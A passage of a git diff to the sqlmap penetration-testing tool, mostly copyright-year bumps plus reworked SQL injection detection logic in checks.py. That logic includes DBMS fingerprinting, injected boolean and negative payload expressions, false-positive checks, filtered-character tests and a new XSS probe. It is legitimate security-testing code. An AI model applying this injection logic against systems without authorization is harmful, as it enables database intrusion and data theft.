'DBMS' 'access' 'db2' 'firebird' 'maxdb' 'mssqlserver' 'mysql' 'oracle' 'postgresql' \ - 'sqlite' 'sybase' - ;; - list-os) - _values -S : 'os' 'Linux' 'Windows' - ;; - list-techniques) - _values -S : 'technique' \ - 'B[Boolean]' 'E[Error]' 'U[Union]' 'S[Stacked]' 'T[Time]' - ;; -esac - -return 0 diff --git a/extra/shutils/duplicates.py b/extra/shutils/duplicates.py index 1e27c6fc3..eac95ccf8 100644 --- a/extra/shutils/duplicates.py +++ b/extra/shutils/duplicates.py @@ -1,6 +1,6 @@ #!/usr/bin/env python -# Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) # See the file 'doc/COPYING' for copying permission # Removes duplicate entries in wordlist like files diff --git a/extra/shutils/regressiontest.py b/extra/shutils/regressiontest.py old mode 100644 new mode 100755 index f7ece79fe..415714430 --- a/extra/shutils/regressiontest.py +++ b/extra/shutils/regressiontest.py @@ -1,6 +1,6 @@ #!/usr/bin/env python -# Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) # See the file 'doc/COPYING' for copying permission import codecs @@ -31,6 +31,7 @@ FROM = "regressiontest@sqlmap.org" #TO = "dev@sqlmap.org" TO = ["bernardo.damele@gmail.com", "miroslav.stampar@gmail.com"] SUBJECT = "regression test started on %s using revision %s" % (START_TIME, REVISION) +TARGET = "debian" def prepare_email(content): global FROM @@ -83,7 +84,7 @@ def main(): if stderr: failure_email("Execution of regression test failed with error:\n\n%s" % stderr) - failed_tests = re.findall("running live test case: (.+?) \((\d+)\/\d+\)[\r]*\n.+test failed (at parsing item \"(.+)\" )?\- scan folder: (\/.+) \- traceback: (.*?)( - SQL injection not detected)?[\r]*\n", stdout, re.M) + failed_tests = re.findall("running live test case: (.+?) \((\d+)\/\d+\)[\r]*\n.+test failed (at parsing items: (.+))?\s*\- scan folder: (\/.+) \- traceback: (.*?)( - SQL injection not detected)?[\r]*\n", stdout, re.M) for failed_test in failed_tests: title = failed_test[0] @@ -96,7 +97,7 @@ def main(): test_counts.append(test_count) console_output_file = os.path.join(output_folder, "console_output") - log_file = os.path.join(output_folder, "debiandev", "log") + log_file = os.path.join(output_folder, TARGET, "log") traceback_file = os.path.join(output_folder, "traceback") if os.path.exists(console_output_file): diff --git a/extra/sqlharvest/__init__.py b/extra/sqlharvest/__init__.py index 9e1072a9c..8d7bcd8f0 100644 --- a/extra/sqlharvest/__init__.py +++ b/extra/sqlharvest/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/extra/sqlharvest/sqlharvest.py b/extra/sqlharvest/sqlharvest.py index da974e32a..75dae5093 100644 --- a/extra/sqlharvest/sqlharvest.py +++ b/extra/sqlharvest/sqlharvest.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/__init__.py b/lib/__init__.py index 9e1072a9c..8d7bcd8f0 100644 --- a/lib/__init__.py +++ b/lib/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/controller/__init__.py b/lib/controller/__init__.py index 9e1072a9c..8d7bcd8f0 100644 --- a/lib/controller/__init__.py +++ b/lib/controller/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/controller/action.py b/lib/controller/action.py index 8ab4c4953..b134cef15 100644 --- a/lib/controller/action.py +++ b/lib/controller/action.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 768f79674..14d93936d 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -46,6 +46,7 @@ from lib.core.datatype import AttribDict from lib.core.datatype import InjectionDict from lib.core.decorators import cachedmethod from lib.core.dicts import FROM_DUMMY_TABLE +from lib.core.enums import CUSTOM_LOGGING from lib.core.enums import DBMS from lib.core.enums import HEURISTIC_TEST from lib.core.enums import HTTP_HEADER @@ -53,17 +54,22 @@ from lib.core.enums import HTTPMETHOD from lib.core.enums import NULLCONNECTION from lib.core.enums import PAYLOAD from lib.core.enums import PLACE +from lib.core.enums import REDIRECTION from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapSilentQuitException from lib.core.exception import SqlmapUserQuitException +from lib.core.settings import DEFAULT_GET_POST_DELIMITER +from lib.core.settings import DUMMY_XSS_CHECK_APPENDIX from lib.core.settings import FORMAT_EXCEPTION_STRINGS from lib.core.settings import HEURISTIC_CHECK_ALPHABET from lib.core.settings import SUHOSIN_MAX_VALUE_LENGTH -from lib.core.settings import UNKNOWN_DBMS +from lib.core.settings import SUPPORTED_DBMS +from lib.core.settings import URI_HTTP_HEADER from lib.core.settings import LOWER_RATIO_BOUND from lib.core.settings import UPPER_RATIO_BOUND from lib.core.settings import IDS_WAF_CHECK_PAYLOAD +from lib.core.settings import IDS_WAF_CHECK_RATIO from lib.core.threads import getCurrentThreadData from lib.request.connect import Connect as Request from lib.request.inject import checkBooleanExpression @@ -82,31 +88,52 @@ def checkSqlInjection(place, parameter, value): # Set the flag for SQL injection test mode kb.testMode = True - for test in getSortedInjectionTests(): + paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place + tests = getSortedInjectionTests() + + while tests: + test = tests.pop(0) + try: if kb.endDetection: break if conf.dbms is None: + # If the DBMS has not yet been fingerprinted (via simple heuristic check + # or via DBMS-specific payload) and boolean-based blind has been identified + # then attempt to identify with a simple DBMS specific boolean-based + # test what the DBMS may be if not injection.dbms and PAYLOAD.TECHNIQUE.BOOLEAN in injection.data: - if not Backend.getIdentifiedDbms() and not kb.heuristicDbms: - kb.heuristicDbms = heuristicCheckDbms(injection) or UNKNOWN_DBMS + if not Backend.getIdentifiedDbms() and kb.heuristicDbms is False: + kb.heuristicDbms = heuristicCheckDbms(injection) - if not conf.testFilter and (Backend.getErrorParsedDBMSes() or kb.heuristicDbms) not in ([], None, UNKNOWN_DBMS): - if kb.reduceTests is None and Backend.getErrorParsedDBMSes(): - msg = "heuristic (parsing) test showed that the " - msg += "back-end DBMS could be '%s'. " % (Format.getErrorParsedDBMSes() if Backend.getErrorParsedDBMSes() else kb.heuristicDbms) - msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]" - kb.reduceTests = [] if readInput(msg, default='Y').upper() != 'Y' else (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) + # If the DBMS has already been fingerprinted (via DBMS-specific + # error message, simple heuristic check or via DBMS-specific + # payload), ask the user to limit the tests to the fingerprinted + # DBMS + if kb.reduceTests is None and not conf.testFilter and (intersect(Backend.getErrorParsedDBMSes(), \ + SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms): + msg = "it looks like the back-end DBMS is '%s'. " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or injection.dbms) + msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]" + kb.reduceTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y').upper() == 'Y' else [] - if kb.extendTests is None: - _ = (Format.getErrorParsedDBMSes() if Backend.getErrorParsedDBMSes() else kb.heuristicDbms) - msg = "do you want to include all tests for '%s' " % _ - msg += "extending provided level (%d) and risk (%s)? [Y/n]" % (conf.level, conf.risk) - kb.extendTests = [] if readInput(msg, default='Y').upper() != 'Y' else (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) + # If the DBMS has been fingerprinted (via DBMS-specific error + # message, via simple heuristic check or via DBMS-specific + # payload), ask the user to extend the tests to all DBMS-specific, + # regardless of --level and --risk values provided + if kb.extendTests is None and not conf.testFilter and (conf.level < 5 or conf.risk < 3) \ + and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or \ + kb.heuristicDbms or injection.dbms): + msg = "for the remaining tests, do you want to include all tests " + msg += "for '%s' extending provided " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or injection.dbms) + msg += "level (%d)" % conf.level if conf.level < 5 else "" + msg += " and " if conf.level < 5 and conf.risk < 3 else "" + msg += "risk (%d)" % conf.risk if conf.risk < 3 else "" + msg += " values? [Y/n]" if conf.level < 5 and conf.risk < 3 else " value? [Y/n]" + kb.extendTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y').upper() == 'Y' else [] title = test.title - stype = test.stype + kb.testType = stype = test.stype clause = test.clause unionExtended = False @@ -163,27 +190,56 @@ def checkSqlInjection(place, parameter, value): logger.debug(debugMsg) continue - - # Skip DBMS-specific test if it does not match either the - # previously identified or the user's provided DBMS (either - # from program switch or from parsed error message(s)) + # Parse DBMS-specific payloads' details if "details" in test and "dbms" in test.details: - dbms = test.details.dbms + payloadDbms = test.details.dbms else: - dbms = None + payloadDbms = None - # Skip tests if title is not included by the given filter - if conf.testFilter: - if not any(re.search(conf.testFilter, str(item), re.I) for item in (test.title, test.vector, dbms)): - debugMsg = "skipping test '%s' because " % title - debugMsg += "its name/vector/dbms is not included by the given filter" + # Skip tests if title, vector or DBMS is not included by the + # given test filter + if conf.testFilter and not any(conf.testFilter in str(item) or \ + re.search(conf.testFilter, str(item), re.I) for item in \ + (test.title, test.vector, payloadDbms)): + debugMsg = "skipping test '%s' because its " % title + debugMsg += "name/vector/DBMS is not included by the given filter" logger.debug(debugMsg) continue - elif not (kb.extendTests and intersect(dbms, kb.extendTests)): + if payloadDbms is not None: + # Skip DBMS-specific test if it does not match the user's + # provided DBMS + if conf.dbms is not None and not intersect(payloadDbms, conf.dbms, True): + debugMsg = "skipping test '%s' because " % title + debugMsg += "the provided DBMS is %s" % conf.dbms + logger.debug(debugMsg) + continue + + # Skip DBMS-specific test if it does not match the + # previously identified DBMS (via DBMS-specific payload) + if injection.dbms is not None and not intersect(payloadDbms, injection.dbms, True): + debugMsg = "skipping test '%s' because the identified " % title + debugMsg += "back-end DBMS is %s" % injection.dbms + logger.debug(debugMsg) + continue + + # Skip DBMS-specific test if it does not match the + # previously identified DBMS (via DBMS-specific error message) + if kb.reduceTests and not intersect(payloadDbms, kb.reduceTests, True): + debugMsg = "skipping test '%s' because the parsed " % title + debugMsg += "error message(s) showed that the back-end DBMS " + debugMsg += "could be %s" % Format.getErrorParsedDBMSes() + logger.debug(debugMsg) + continue + + # If the user did not decide to extend the tests to all + # DBMS-specific or the test payloads is not specific to the + # identified DBMS, then only test for it if both level and risk + # are below the corrisponding configuration's level and risk + # values + if not conf.testFilter and not (kb.extendTests and intersect(payloadDbms, kb.extendTests, True)): # Skip test if the risk is higher than the provided (or default) # value - # Parse test's if test.risk > conf.risk: debugMsg = "skipping test '%s' because the risk (%d) " % (title, test.risk) debugMsg += "is higher than the provided (%d)" % conf.risk @@ -192,35 +248,12 @@ def checkSqlInjection(place, parameter, value): # Skip test if the level is higher than the provided (or default) # value - # Parse test's if test.level > conf.level: debugMsg = "skipping test '%s' because the level (%d) " % (title, test.level) debugMsg += "is higher than the provided (%d)" % conf.level logger.debug(debugMsg) continue - if dbms is not None: - if injection.dbms is not None and not intersect(injection.dbms, dbms): - debugMsg = "skipping test '%s' because " % title - debugMsg += "the back-end DBMS identified is " - debugMsg += "%s" % injection.dbms - logger.debug(debugMsg) - continue - - if conf.dbms is not None and not intersect(conf.dbms.lower(), [value.lower() for value in arrayizeValue(dbms)]): - debugMsg = "skipping test '%s' because " % title - debugMsg += "the provided DBMS is %s" % conf.dbms - logger.debug(debugMsg) - continue - - if kb.reduceTests and not intersect(dbms, kb.reduceTests): - debugMsg = "skipping test '%s' because " % title - debugMsg += "the parsed error message(s) showed " - debugMsg += "that the back-end DBMS could be " - debugMsg += "%s" % Format.getErrorParsedDBMSes() - logger.debug(debugMsg) - continue - # Skip test if it does not match the same SQL injection clause # already identified by another test clauseMatch = False @@ -232,11 +265,11 @@ def checkSqlInjection(place, parameter, value): if clause != [0] and injection.clause and injection.clause != [0] and not clauseMatch: debugMsg = "skipping test '%s' because the clauses " % title - debugMsg += "differs from the clause already identified" + debugMsg += "differ from the clause already identified" logger.debug(debugMsg) continue - # Skip test if the user provided custom character + # Skip test if the user provided custom character (for UNION-based payloads) if conf.uChar is not None and ("random number" in title or "(NULL)" in title): debugMsg = "skipping test '%s' because the user " % title debugMsg += "provided a specific character, %s" % conf.uChar @@ -246,13 +279,13 @@ def checkSqlInjection(place, parameter, value): infoMsg = "testing '%s'" % title logger.info(infoMsg) - # Force back-end DBMS according to the current - # test value for proper payload unescaping - Backend.forceDbms(dbms[0] if isinstance(dbms, list) else dbms) + # Force back-end DBMS according to the current test DBMS value + # for proper payload unescaping + Backend.forceDbms(payloadDbms[0] if isinstance(payloadDbms, list) else payloadDbms) # Parse test's comment = agent.getComment(test.request) if len(conf.boundaries) > 1 else None - fstPayload = agent.cleanupPayload(test.request.payload, origValue=value) + fstPayload = agent.cleanupPayload(test.request.payload, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) else None) # Favoring non-string specific boundaries in case of digit-like parameter values if value.isdigit(): @@ -266,7 +299,7 @@ def checkSqlInjection(place, parameter, value): # Skip boundary if the level is higher than the provided (or # default) value # Parse boundary's - if boundary.level > conf.level: + if boundary.level > conf.level and not (kb.extendTests and intersect(payloadDbms, kb.extendTests, True)): continue # Skip boundary if it does not match against test's @@ -296,14 +329,13 @@ def checkSqlInjection(place, parameter, value): # Parse boundary's , and prefix = boundary.prefix if boundary.prefix else "" suffix = boundary.suffix if boundary.suffix else "" + ptype = boundary.ptype # Options --prefix/--suffix have a higher priority (if set by user) prefix = conf.prefix if conf.prefix is not None else prefix suffix = conf.suffix if conf.suffix is not None else suffix comment = None if conf.suffix is not None else comment - ptype = boundary.ptype - # If the previous injections succeeded, we know which prefix, # suffix and parameter type to use for further tests, no # need to cycle through the boundaries for the following tests @@ -311,7 +343,9 @@ def checkSqlInjection(place, parameter, value): condBound &= (injection.prefix != prefix or injection.suffix != suffix) condType = injection.ptype is not None and injection.ptype != ptype - if condBound or condType: + # If the payload is an inline query test for it regardless + # of previously identified injection types + if stype != PAYLOAD.TECHNIQUE.QUERY and (condBound or condType): continue # For each test's @@ -321,20 +355,29 @@ def checkSqlInjection(place, parameter, value): # Threat the parameter original value according to the # test's tag - if where == PAYLOAD.WHERE.ORIGINAL: + if where == PAYLOAD.WHERE.ORIGINAL or conf.prefix: origValue = value + + if kb.tamperFunctions: + templatePayload = agent.payload(place, parameter, value="", newValue=origValue, where=where) elif where == PAYLOAD.WHERE.NEGATIVE: # Use different page template than the original # one as we are changing parameters value, which # will likely result in a different content + kb.data.setdefault("randomInt", str(randomInt(10))) + kb.data.setdefault("randomStr", str(randomStr(10))) + if conf.invalidLogical: - _ = randomInt(2) + _ = int(kb.data.randomInt[:2]) origValue = "%s AND %s=%s" % (value, _, _ + 1) elif conf.invalidBignum: - origValue = "%d.%d" % (randomInt(6), randomInt(1)) + origValue = kb.data.randomInt[:6] + elif conf.invalidString: + origValue = kb.data.randomStr[:6] else: - origValue = "-%s" % randomInt() - templatePayload = agent.payload(place, parameter, newValue=origValue, where=where) + origValue = "-%s" % kb.data.randomInt[:4] + + templatePayload = agent.payload(place, parameter, value="", newValue=origValue, where=where) elif where == PAYLOAD.WHERE.REPLACE: origValue = "" @@ -351,13 +394,13 @@ def checkSqlInjection(place, parameter, value): # payload was successful # Parse test's for method, check in test.response.items(): - check = agent.cleanupPayload(check, origValue=value) + check = agent.cleanupPayload(check, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) else None) # In case of boolean-based blind SQL injection if method == PAYLOAD.METHOD.COMPARISON: # Generate payload used for comparison def genCmpPayload(): - sndPayload = agent.cleanupPayload(test.response.comparison, origValue=value) + sndPayload = agent.cleanupPayload(test.response.comparison, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) else None) # Forge response payload by prepending with # boundary's prefix and appending the boundary's @@ -385,7 +428,7 @@ def checkSqlInjection(place, parameter, value): # Perform the test's False request if not falseResult: - infoMsg = "%s parameter '%s' is '%s' injectable " % (place, parameter, title) + infoMsg = "%s parameter '%s' seems to be '%s' injectable " % (paramType, parameter, title) logger.info(infoMsg) injectable = True @@ -394,9 +437,10 @@ def checkSqlInjection(place, parameter, value): trueSet = set(extractTextTagContent(truePage)) falseSet = set(extractTextTagContent(falsePage)) candidates = filter(None, (_.strip() if _.strip() in (kb.pageTemplate or "") and _.strip() not in falsePage and _.strip() not in threadData.lastComparisonHeaders else None for _ in (trueSet - falseSet))) + if candidates: conf.string = candidates[0] - infoMsg = "%s parameter '%s' seems to be '%s' injectable (with --string=\"%s\")" % (place, parameter, title, repr(conf.string).lstrip('u').strip("'")) + infoMsg = "%s parameter '%s' seems to be '%s' injectable (with --string=\"%s\")" % (paramType, parameter, title, repr(conf.string).lstrip('u').strip("'")) logger.info(infoMsg) injectable = True @@ -408,7 +452,8 @@ def checkSqlInjection(place, parameter, value): try: page, headers = Request.queryPage(reqPayload, place, content=True, raise404=False) output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE) \ - or extractRegexResult(check, listToStrValue(headers.headers \ + or extractRegexResult(check, listToStrValue( \ + [headers[key] for key in headers.keys() if key.lower() != URI_HTTP_HEADER.lower()] \ if headers else None), re.DOTALL | re.IGNORECASE) \ or extractRegexResult(check, threadData.lastRedirectMsg[1] \ if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \ @@ -418,13 +463,13 @@ def checkSqlInjection(place, parameter, value): result = output == "1" if result: - infoMsg = "%s parameter '%s' is '%s' injectable " % (place, parameter, title) + infoMsg = "%s parameter '%s' is '%s' injectable " % (paramType, parameter, title) logger.info(infoMsg) injectable = True except SqlmapConnectionException, msg: - debugMsg = "problem occured most likely because the " + debugMsg = "problem occurred most likely because the " debugMsg += "server hasn't recovered as expected from the " debugMsg += "error-based payload used ('%s')" % msg logger.debug(debugMsg) @@ -440,7 +485,7 @@ def checkSqlInjection(place, parameter, value): trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False) if trueResult: - infoMsg = "%s parameter '%s' is '%s' injectable " % (place, parameter, title) + infoMsg = "%s parameter '%s' seems to be '%s' injectable " % (paramType, parameter, title) logger.info(infoMsg) injectable = True @@ -456,7 +501,7 @@ def checkSqlInjection(place, parameter, value): configUnion(test.request.char, test.request.columns) if not Backend.getIdentifiedDbms(): - if kb.heuristicDbms in (None, UNKNOWN_DBMS): + if kb.heuristicDbms is None: warnMsg = "using unescaped version of the test " warnMsg += "because of zero knowledge of the " warnMsg += "back-end DBMS. You can try to " @@ -466,17 +511,17 @@ def checkSqlInjection(place, parameter, value): Backend.forceDbms(kb.heuristicDbms) if unionExtended: - infoMsg = "automatically extending ranges " - infoMsg += "for UNION query injection technique tests as " - infoMsg += "there is at least one other potential " - infoMsg += "injection technique found" + infoMsg = "automatically extending ranges for UNION " + infoMsg += "query injection technique tests as " + infoMsg += "there is at least one other (potential) " + infoMsg += "technique found" singleTimeLogMessage(infoMsg) # Test for UNION query SQL injection reqPayload, vector = unionTest(comment, place, parameter, value, prefix, suffix) if isinstance(reqPayload, basestring): - infoMsg = "%s parameter '%s' is '%s' injectable" % (place, parameter, title) + infoMsg = "%s parameter '%s' is '%s' injectable" % (paramType, parameter, title) logger.info(infoMsg) injectable = True @@ -487,6 +532,9 @@ def checkSqlInjection(place, parameter, value): kb.previousMethod = method + if conf.dummy: + injectable = False + # If the injection test was successful feed the injection # object with the test's details if injectable is True: @@ -509,12 +557,15 @@ def checkSqlInjection(place, parameter, value): for dKey, dValue in test.details.items(): if dKey == "dbms": injection.dbms = dValue + if not isinstance(dValue, list): Backend.setDbms(dValue) else: Backend.forceDbms(dValue[0], True) + elif dKey == "dbms_version" and injection.dbms_version is None and not conf.testFilter: injection.dbms_version = Backend.setVersion(dValue) + elif dKey == "os" and injection.os is None: injection.os = Backend.setOs(dValue) @@ -565,11 +616,21 @@ def checkSqlInjection(place, parameter, value): warnMsg = "user aborted during detection phase" logger.warn(warnMsg) - msg = "how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext parameter/(q)uit]" + msg = "how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit]" choice = readInput(msg, default="S", checkBatch=False) if choice[0] in ("s", "S"): pass + elif choice[0] in ("c", "C"): + choice = None + while not ((choice or "").isdigit() and 0 <= int(choice) <= 6): + if choice: + logger.warn("invalid value") + msg = "enter new verbosity level: [0-6] " + choice = readInput(msg, default=str(conf.verbose), checkBatch=False).strip() + conf.verbose = int(choice) + setVerbosity() + tests.insert(0, test) elif choice[0] in ("n", "N"): return None elif choice[0] in ("e", "E"): @@ -592,22 +653,35 @@ def checkSqlInjection(place, parameter, value): logger.warn(warnMsg) injection = checkFalsePositives(injection) + + if not injection: + kb.vulnHosts.remove(conf.hostname) else: injection = None if injection: checkSuhosinPatch(injection) + checkFilteredChars(injection) return injection def heuristicCheckDbms(injection): - retVal = None + """ + This functions is called when boolean-based blind is identified with a + generic payload and the DBMS has not yet been fingerprinted to attempt + to identify with a simple DBMS specific boolean-based test what the DBMS + may be + """ + retVal = False pushValue(kb.injection) kb.injection = injection - randStr1, randStr2 = randomStr(), randomStr() for dbms in getPublicTypeMembers(DBMS, True): + if not FROM_DUMMY_TABLE.get(dbms, ""): + continue + + randStr1, randStr2 = randomStr(), randomStr() Backend.forceDbms(dbms) if checkBooleanExpression("(SELECT '%s'%s)='%s'" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), randStr1)): @@ -619,7 +693,7 @@ def heuristicCheckDbms(injection): kb.injection = popValue() if retVal: - infoMsg = "heuristic (extended) test shows that the back-end DBMS " # not as important as "parsing" counter-part (because of false-positives) + infoMsg = "heuristic (extended) test shows that the back-end DBMS " # Not as important as "parsing" counter-part (because of false-positives) infoMsg += "could be '%s' " % retVal logger.info(infoMsg) @@ -632,9 +706,7 @@ def checkFalsePositives(injection): retVal = injection - if len(injection.data) == 1 and any(map(lambda x: x in injection.data, [PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED]))\ - or len(injection.data) == 2 and all(map(lambda x: x in injection.data, [PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED])): -# or len(injection.data) == 1 and 'Generic' in injection.data.values()[0].title and not Backend.getIdentifiedDbms(): + if all(_ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in injection.data): pushValue(kb.injection) infoMsg = "checking if the injection point on %s " % injection.place @@ -646,19 +718,15 @@ def checkFalsePositives(injection): kb.injection = injection - # Simple arithmetic operations which should show basic - # arithmetic ability of the backend if it's really injectable - for i in xrange(1 + conf.level / 2): - randInt1, randInt2, randInt3 = (_() for j in xrange(3)) + for i in xrange(conf.level): + while True: + randInt1, randInt2, randInt3 = (_() for j in xrange(3)) - randInt1 = min(randInt1, randInt2, randInt3) - randInt3 = max(randInt1, randInt2, randInt3) + randInt1 = min(randInt1, randInt2, randInt3) + randInt3 = max(randInt1, randInt2, randInt3) - while randInt1 >= randInt2: - randInt2 = _() - - while randInt2 >= randInt3: - randInt3 = _() + if randInt3 > randInt2 > randInt1: + break if not checkBooleanExpression("%d=%d" % (randInt1, randInt1)): retVal = None @@ -668,15 +736,15 @@ def checkFalsePositives(injection): if PAYLOAD.TECHNIQUE.BOOLEAN not in injection.data: checkBooleanExpression("%d=%d" % (randInt1, randInt2)) - if checkBooleanExpression("%d>%d" % (randInt1, randInt2)): + if checkBooleanExpression("%d=%d" % (randInt1, randInt3)): retVal = None break - elif checkBooleanExpression("%d>%d" % (randInt2, randInt3)): + elif checkBooleanExpression("%d=%d" % (randInt3, randInt2)): retVal = None break - elif not checkBooleanExpression("%d>%d" % (randInt3, randInt1)): + elif not checkBooleanExpression("%d=%d" % (randInt2, randInt2)): retVal = None break @@ -684,13 +752,6 @@ def checkFalsePositives(injection): warnMsg = "false positive or unexploitable injection point detected" logger.warn(warnMsg) - if PAYLOAD.TECHNIQUE.BOOLEAN in injection.data: - if all(_.__name__ != "between" for _ in kb.tamperFunctions): - warnMsg = "there is a possibility that the character '>' is " - warnMsg += "filtered by the back-end server. You can try " - warnMsg += "to rerun with '--tamper=between'" - logger.warn(warnMsg) - kb.injection = popValue() return retVal @@ -701,35 +762,59 @@ def checkSuhosinPatch(injection): """ if injection.place == PLACE.GET: + debugMsg = "checking for parameter length " + debugMsg += "constrainting mechanisms" + logger.debug(debugMsg) + pushValue(kb.injection) kb.injection = injection randInt = randomInt() if not checkBooleanExpression("%d=%s%d" % (randInt, ' ' * SUHOSIN_MAX_VALUE_LENGTH, randInt)): - warnMsg = "parameter length constraint " + warnMsg = "parameter length constrainting " warnMsg += "mechanism detected (e.g. Suhosin patch). " warnMsg += "Potential problems in enumeration phase can be expected" logger.warn(warnMsg) kb.injection = popValue() +def checkFilteredChars(injection): + debugMsg = "checking for filtered characters" + logger.debug(debugMsg) + + pushValue(kb.injection) + + kb.injection = injection + randInt = randomInt() + + # all other techniques are already using parentheses in tests + if len(injection.data) == 1 and PAYLOAD.TECHNIQUE.BOOLEAN in injection.data: + if not checkBooleanExpression("(%d)=%d" % (randInt, randInt)): + warnMsg = "it appears that some non-alphanumeric characters (i.e. ()) are " + warnMsg += "filtered by the back-end server. There is a strong " + warnMsg += "possibility that sqlmap won't be able to properly " + warnMsg += "exploit this vulnerability" + logger.warn(warnMsg) + + # inference techniques depend on character '>' + if not any(_ in injection.data for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.QUERY)): + if not checkBooleanExpression("%d>%d" % (randInt+1, randInt)): + warnMsg = "it appears that the character '>' is " + warnMsg += "filtered by the back-end server. You are strongly " + warnMsg += "advised to rerun with the '--tamper=between'" + logger.warn(warnMsg) + + kb.injection = popValue() + def heuristicCheckSqlInjection(place, parameter): if kb.nullConnection: - debugMsg = "heuristic checking skipped " - debugMsg += "because NULL connection used" - logger.debug(debugMsg) - return None - - if wasLastResponseDBMSError(): - debugMsg = "heuristic checking skipped " - debugMsg += "because original page content " - debugMsg += "contains DBMS error" + debugMsg = "heuristic check skipped because NULL connection used" logger.debug(debugMsg) return None origValue = conf.paramDict[place][parameter] - + paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place prefix = "" suffix = "" @@ -741,18 +826,23 @@ def heuristicCheckSqlInjection(place, parameter): suffix = conf.suffix randStr = "" + while '\'' not in randStr: randStr = randomStr(length=10, alphabet=HEURISTIC_CHECK_ALPHABET) + kb.heuristicMode = True + payload = "%s%s%s" % (prefix, randStr, suffix) payload = agent.payload(place, parameter, newValue=payload) page, _ = Request.queryPage(payload, place, content=True, raise404=False) + kb.heuristicMode = False + parseFilePaths(page) result = wasLastResponseDBMSError() - infoMsg = "heuristic (basic) test shows that %s " % place - infoMsg += "parameter '%s' might " % parameter + infoMsg = "heuristic (basic) test shows that %s parameter " % paramType + infoMsg += "'%s' might " % parameter def _(page): return any(_ in (page or "") for _ in FORMAT_EXCEPTION_STRINGS) @@ -775,7 +865,7 @@ def heuristicCheckSqlInjection(place, parameter): if casting: errMsg = "possible %s casting " % ("integer" if origValue.isdigit() else "type") - errMsg += "detected (e.g. \"$%s=intval($_REQUEST('%s'))\") " % (parameter, parameter) + errMsg += "detected (e.g. \"$%s=intval($_REQUEST['%s'])\") " % (parameter, parameter) errMsg += "at the back-end web application" logger.error(errMsg) @@ -793,6 +883,22 @@ def heuristicCheckSqlInjection(place, parameter): infoMsg += "not be injectable" logger.warn(infoMsg) + kb.heuristicMode = True + + value = "%s%s%s" % (randomStr(), DUMMY_XSS_CHECK_APPENDIX, randomStr()) + payload = "%s%s%s" % (prefix, "'%s" % value, suffix) + payload = agent.payload(place, parameter, newValue=payload) + page, _ = Request.queryPage(payload, place, content=True, raise404=False) + + paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place + + if value in (page or ""): + infoMsg = "heuristic (XSS) test shows that %s parameter " % paramType + infoMsg += "'%s' might be vulnerable to XSS attacks" % parameter + logger.info(infoMsg) + + kb.heuristicMode = False + return kb.heuristicTest def checkDynParam(place, parameter, value): @@ -809,7 +915,9 @@ def checkDynParam(place, parameter, value): dynResult = None randInt = randomInt() - infoMsg = "testing if %s parameter '%s' is 